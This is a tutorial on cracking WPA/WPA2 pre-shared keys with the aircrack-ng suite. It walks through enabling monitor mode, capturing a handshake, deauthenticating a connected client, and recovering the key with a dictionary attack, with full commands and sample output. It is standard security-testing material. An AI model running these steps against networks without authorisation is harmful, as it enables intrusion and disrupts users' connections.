

Aircrack-ng Tutorial

Step 1 - Start the wireless interface in monitor mode

- To determine the driver (and the correct procedure to follow), run the following command:

```
airmon-ng
```

- Example: On a machine with a Ralink, an Atheros and a Broadcom wireless card installed, the system responds:

Interface	Chipset	Driver
rausb0	Ralink RT73	rt73
wlan0	Broadcom	b43 - [phy0]
wifi0	Atheros	madwifi-ng
ath0	Atheros	madwifi-ng VAP (parent: wifi0)

- The presence of a [phy0] tag at the end of the driver name is an indicator for mac80211, so the Broadcom card is using a mac80211 driver.
- Note that mac80211 is supported only since aircrack-ng v1.0-rc1, and it won't work with v0.9.1.**
- Both entries of the Atheros card show "madwifi-ng" as the driver - follow the madwifi-ng-specific steps to set up the Atheros card.
- The Ralink shows neither of these indicators, so it is using an ieee80211 driver - see the generic instructions for setting it up.

Step 1a - Setting up madwifi-ng

- First stop ath0 by entering:

```
airmon-ng stop ath0
```

- The system responds:

Interface	Chipset	Driver
wifi0	Atheros	madwifi-ng

ath0 destroyed)	Atheros	madwifi-ng VAP (parent: wifi0) (VAP
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- Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

```
lo          no wireless extensions.

eth0        no wireless extensions.

wifi0       no wireless extensions.
```

- If there are any remaining athX interfaces, then stop each one.
- When you are finished, run “iwconfig” to ensure there are none left.
- Now, enter the following command to start the wireless card on channel 9 in monitor mode:

```
airmon-ng start wifi0 9
```

- Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used.

The system will respond:

Interface	Chipset	Driver
wifi0	Atheros	madwifi-ng
ath0 enabled)	Atheros	madwifi-ng VAP (parent: wifi0) (monitor mode

- You will notice that “ath0” is reported above as being put into monitor mode.
- To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

```
lo          no wireless extensions.

wifi0       no wireless extensions.

eth0        no wireless extensions.

ath0        IEEE 802.11g  ESSID:""  Nickname:""

            Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
```

```

Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3

Retry:off   RTS thr:off   Fragment thr:off

Encryption key:off

Power Management:off

Link Quality=0/94   Signal level=-95 dBm   Noise level=-95 dBm

Rx invalid nwid:0   Rx invalid crypt:0   Rx invalid frag:0

Tx excessive retries:0   Invalid misc:0   Missed beacon:0

```

- In the response above, ath0 is now in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card.
- Only the madwifi-ng drivers show the card MAC address in the AP field, other drivers do not.

Step 1b - Setting up mac80211 drivers

- Unlike madwifi-ng, you do not need to remove the wlan0 interface when setting up mac80211 drivers.
- Instead, use the following command to set up your card in monitor mode on channel 9:

```
airmon-ng start wlan0 9
```

- The system responds:

Interface	Chipset	Driver
wlan0	Broadcom	b43 - [phy0] (monitor mode enabled on mon0)

- Notice that airmon-ng enabled monitor-mode *on mon0*.
- To confirm successful setup, run “iwconfig”. The following output should appear:

```

lo          no wireless extensions.

eth0        no wireless extensions.

wmaster0    no wireless extensions.

wlan0       IEEE 802.11bg  ESSID:""

            Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated

```

```
Tx-Power=0 dBm
```

```
Retry min limit:7   RTS thr:off   Fragment thr=2352 B
```

```
Encryption key:off
```

```
Power Management:off
```

```
Link Quality:0   Signal level:0   Noise level:0
```

```
Rx invalid nwid:0   Rx invalid crypt:0   Rx invalid frag:0
```

```
Tx excessive retries:0   Invalid misc:0   Missed beacon:0
```

```
mon0   IEEE 802.11bg   Mode:Monitor   Frequency:2.452 GHz   Tx-Power=0 dBm
```

```
Retry min limit:7   RTS thr:off   Fragment thr=2352 B
```

```
Encryption key:off
```

```
Power Management:off
```

```
Link Quality:0   Signal level:0   Noise level:0
```

```
Rx invalid nwid:0   Rx invalid crypt:0   Rx invalid frag:0
```

```
Tx excessive retries:0   Invalid misc:0   Missed beacon:0
```

- mon0 is being in monitor mode, on channel 9 (2.452GHz).
- Unlike madwifi-ng, the monitor interface has no Access Point field at all.
- Both interfaces share a common radio, they must always be tuned to the same channel - changing the channel on one interface also changes channel on the other one.

Step 1c - Setting up other drivers

- For other (ieee80211-based) drivers, simply run the following command to enable monitor mode (replace rausb0 with your interface name):

```
airmon-ng start rausb0 9
```

The system responds:

Interface	Chipset	Driver
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rausb0

Ralink

rt73 (monitor mode enabled)

Step 2 - Start airodump-ng to collect authentication handshake

- The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:

```
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
```

Where:

- -c 9 is the channel for the wireless network
- --bssid 00:14:6C:7E:40:80 is the access point MAC address. (This eliminates extraneous traffic.)
- -w psk is the file name prefix for the file which will contain the IVs.
- ath0 is the interface name.

Important: Do NOT use the "--ivs" option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:

```
CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80

BSSID            PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100    51         116   14   9  54  WPA2 CCMP   PSK  teddy

BSSID            STATION            PWR  Lost  Packets  Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2  35    0     116
```

- "WPA handshake: 00:14:6C:7E:40:80" in the top right-hand corner means airodump-ng has successfully captured the four-way handshake.

Here it is with no connected wireless clients:

```
CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51

BSSID            PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100    51          0    0   9  54  WPA2 CCMP   PSK  teddy
```

BSSID	STATION	PWR	Lost	Packets	Probes
-------	---------	-----	------	---------	--------

Step 3 - Use aireplay-ng to deauthenticate the wireless client

- Open another console session and enter:

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
```

Where:

- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish)
- -a 00:14:6C:7E:40:80 is the MAC address of the access point
- -c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
- ath0 is the interface name

Here is what the output looks like:

```
11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]
```

Step 4 - Run aircrack-ng to crack the pre-shared key

- Need a dictionary of words as input.
- aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.
- There is a small dictionary that comes with aircrack-ng - "password.lst".
- This file can be found in the "test" directory of the aircrack-ng source code.

Open another console session and enter:

```
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
```

Where:

- -w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
- *.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Here is typical output when there are no handshakes found:

```
Opening psk-01.cap
```

```
Opening psk-02.cap
```

```
Opening psk-03.cap
```

```
Opening psk-04.cap
```

```
Read 1827 packets.
```

```
No valid WPA handshakes found.
```

Here is typical output when handshakes are found:

```
Opening psk-01.cap
```

```
Opening psk-02.cap
```

```
Opening psk-03.cap
```

```
Opening psk-04.cap
```

```
Read 1827 packets.
```

#	BSSID	ESSID	Encryption
1	00:14:6C:7E:40:80	teddy	WPA (1 handshake)

```
Choosing first network as target.
```

Here is what successfully cracking the pre-shared key looks like:

```
Aircrack-ng 0.8
```

```
[00:00:00] 2 keys tested (37.20 k/s)
```

```
KEY FOUND! [ 12345678 ]
```

```
Master Key      : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
```

```
                B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
```

```

Transcient Key :    06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98

                    CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40

                    FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E

                    2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71

EAPOL HMAC      :    4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB

```

Troubleshooting Tips

- Your monitor card must be in the same mode as the both the client and Access Point. So, for example, if your card was in “B” mode and the client/AP were using “G” mode, then you would not capture the handshake. This is especially important for new APs and clients which may be “turbo” mode and/or other new standards. Some drivers allow you to specify the mode. Also, iwconfig has an option “modulation” that can sometimes be used. Do “man iwconfig” to see the options for “modulation”. For information, 1, 2, 5.5 and 11Mbit are 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit are 'g'.
- Sometimes you also need to set the monitor-mode card to the same speed. IE auto, 1MB, 2MB, 11MB, 54MB, etc.
- Be sure that your capture card is locked to the same channel as the AP. You can do this by specifying “-c <channel of AP>” when you start airodump-ng.
- Be sure there are no connection managers running on your system. This can change channels and/or change mode without your knowledge.
- You are physically close enough to receive both access point and wireless client packets. The wireless card strength is typically less then the AP strength.
- Conversely, if you are too close then the received packets can be corrupted and discarded. So you cannot be too close.
- Make sure to use the drivers specified on the wiki. Depending on the driver, some old versions do not capture all packets.
- Ideally, connect and disconnect a wireless client normally to generate the handshake.
- If you use the deauth technique, send the absolute minimum of packets to cause the client to reauthenticate. Normally this is a single deauth packet. Sending an excessive number of deauth packets may cause the client to fail to reconnect and thus it will not generate the four-way handshake. As well, use directed deauths, not broadcast. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not “hear” the deauthentication packet.
- Try stopping the radio on the client station then restarting it.
- Make sure you are not running any other program/process that could interfere such as connection managers, Kismet, etc.
- Review your captured data using the WPA Packet Capture Explained tutorial to see if you can identify the problem. Such as missing AP packets, missing client packets, etc.